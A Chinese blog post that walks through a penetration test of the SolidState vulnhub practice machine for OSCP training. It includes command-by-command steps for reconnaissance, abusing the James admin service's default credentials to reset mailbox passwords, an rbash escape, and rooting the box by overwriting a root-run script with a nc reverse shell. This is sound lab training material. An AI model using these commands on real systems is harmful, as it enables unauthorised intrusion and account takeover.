雨云服务器助你轻松搭建内网穿透,解决无公网IP问题。-X黑手网
点击查看-X黑手网
点击查看-X黑手网

【OSCP模拟-No.1】SolidState靶机渗透测试练习

前言

主要漏洞利用方式:4555端口james服务默认密码漏洞+rbash逃逸提权

  • 1.靶机信息

  • 靶场: vulnhub.com
    靶机名称: SolidState: 1
    难度: 中等
    发布时间: 2018年9月12日
    下载地址:https://download.vulnhub.com/solidstate/SolidState.zip

     

  • 2.信息收集

1、探测靶机ip地址

sudo arp-scan -I eth0 -l

image

2、nmap探测目标IP的开放端口

sudo nmap -p- 192.168.169.133

image

3、nmap进行靶机端口服务扫描

sudo nmap -p22,25,80,110,119,4555 -sV -A 192.168.169.133

靶机开放22/ssh、25/smtp、80/http、110/pop3、119/nntp、4555/james-admin等端口服务

image

4、搜索james 的漏洞利用方式(在这之前注意:需要对其他端口的服务都进行遍历及尝试)

searchsploit james

image

5、将可以RCE的脚本复制到本地

searchsploit -m linux/remote/35513.py

 

image

6、查看脚本,判断是否可以直接使用。通过查询,此脚本也是需要登录获取认证才可以进行RCE利用。但发现james服务有一个默认的账号密码情况。

cat 35513.py

image

7、通过上述的信息收集,nc去连接james服务,并使用信息收集来的默认账号密码,如不可以,再想办法暴力破解。

nc 192.168.169.133 4555

image

8、登录后,判断有哪些命令可以执行(help)

image

9、通过上述查询,可以进行列用户名、修改用户密码等功能。先查询存在多少用户。

listusers
listusers
    Existing accounts 5
    user: james
    user: thomas
    user: john
    user: mindy
    user: mailadmin

image

10、同样,可以修改用户密码,将所有的用户密码都设置为123456。

setpassword james 123456
    Password for james reset
    setpassword thomas 123456
    Password for thomas reset
    setpassword john 123456
    Password for john reset
    setpassword mindy 123456
    Password for mindy reset
    setpassword mailadmin 123456
    Password for mailadmin reset

image

11、既然已经把james服务密码已经全部重置了,那通过110端口即可登录用户为:mindy的邮箱。注意:每个邮箱都应该进行登录验证并进行信息收集。

nc -nvC 192.168.169.133 110

image

12、通过登录上邮箱,可以list发现有2封邮箱,依然进行信息收集,发现了某个邮箱里面存在一个账号密码。通过邮件内容分析,此账号密码为:SSH远程登录密码,但权限受限。

image

username: mindy
    pass: P@55W0rd1!2@

13、远程登陆,发现第一个flag:

ssh mindy@192.168.169.133

image

mindy@solidstate:~$ cat user.txt

image

14、但通过id命令时,发现此用户确实权限受限,shell方式为:rbash知识点:rbash它与一般shell的区别在于会限制一些行为,让一些命令无法执行

mindy@solidstate:~$ cat /etc/passwd

image

此处rbash逃逸方式有很多,可通过本机命令来逃逸,也有通过nc反弹shell 变相逃逸等若干方式

15、方法一(SSH一句话逃逸):

1.选择ssh一句话逃逸,成功逃逸之后,查看james用户的进程运行情况,发现james在/opt目录下:

ssh 192.168.169.137 -l mindy "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"

image

16、通过rbash逃逸后,可正常执行命令,因为mindy用户只是user权限,非root权限,那下一步就是提权。这个时候就需要全局搜索user用户可以执行的root权限脚本

$ find / -type f -user root -perm -o=w 2>/dev/null

image

17、通过筛选,可以发现opt目录下有一个tmp.py  符合要求,这个脚本是定期执行的删除临时目录脚本。

find / -type f -user root -perm -o=w 2>/dev/null | grep -v 'proc\|sys'

image

ls -la /opt/tmp.py

image

cat tmp.py

image

18、将输入本机IP作为靶机反向连接的机器,那么我们将它更改程序执行命令的提权代码:

echo 'import os; os.system("/bin/nc 192.168.169.129 777 -e /bin/bash")' > /opt/tmp.py

image

19、本地再开启一个nc用来监听靶机的连接,2-3分钟内可得反弹shell,并查询到为root用户。

└─$ nc -lvp 777 
    
    id
    uid=0(root) gid=0(root) groups=0(root)
      
    cd /root
    ls
    root.txt
    cat root.txt
    b4c9723a28899b1c45db281d99cc87c9

image

结语

由此,获取靶机的第二个flag,到此结束。

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞9赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容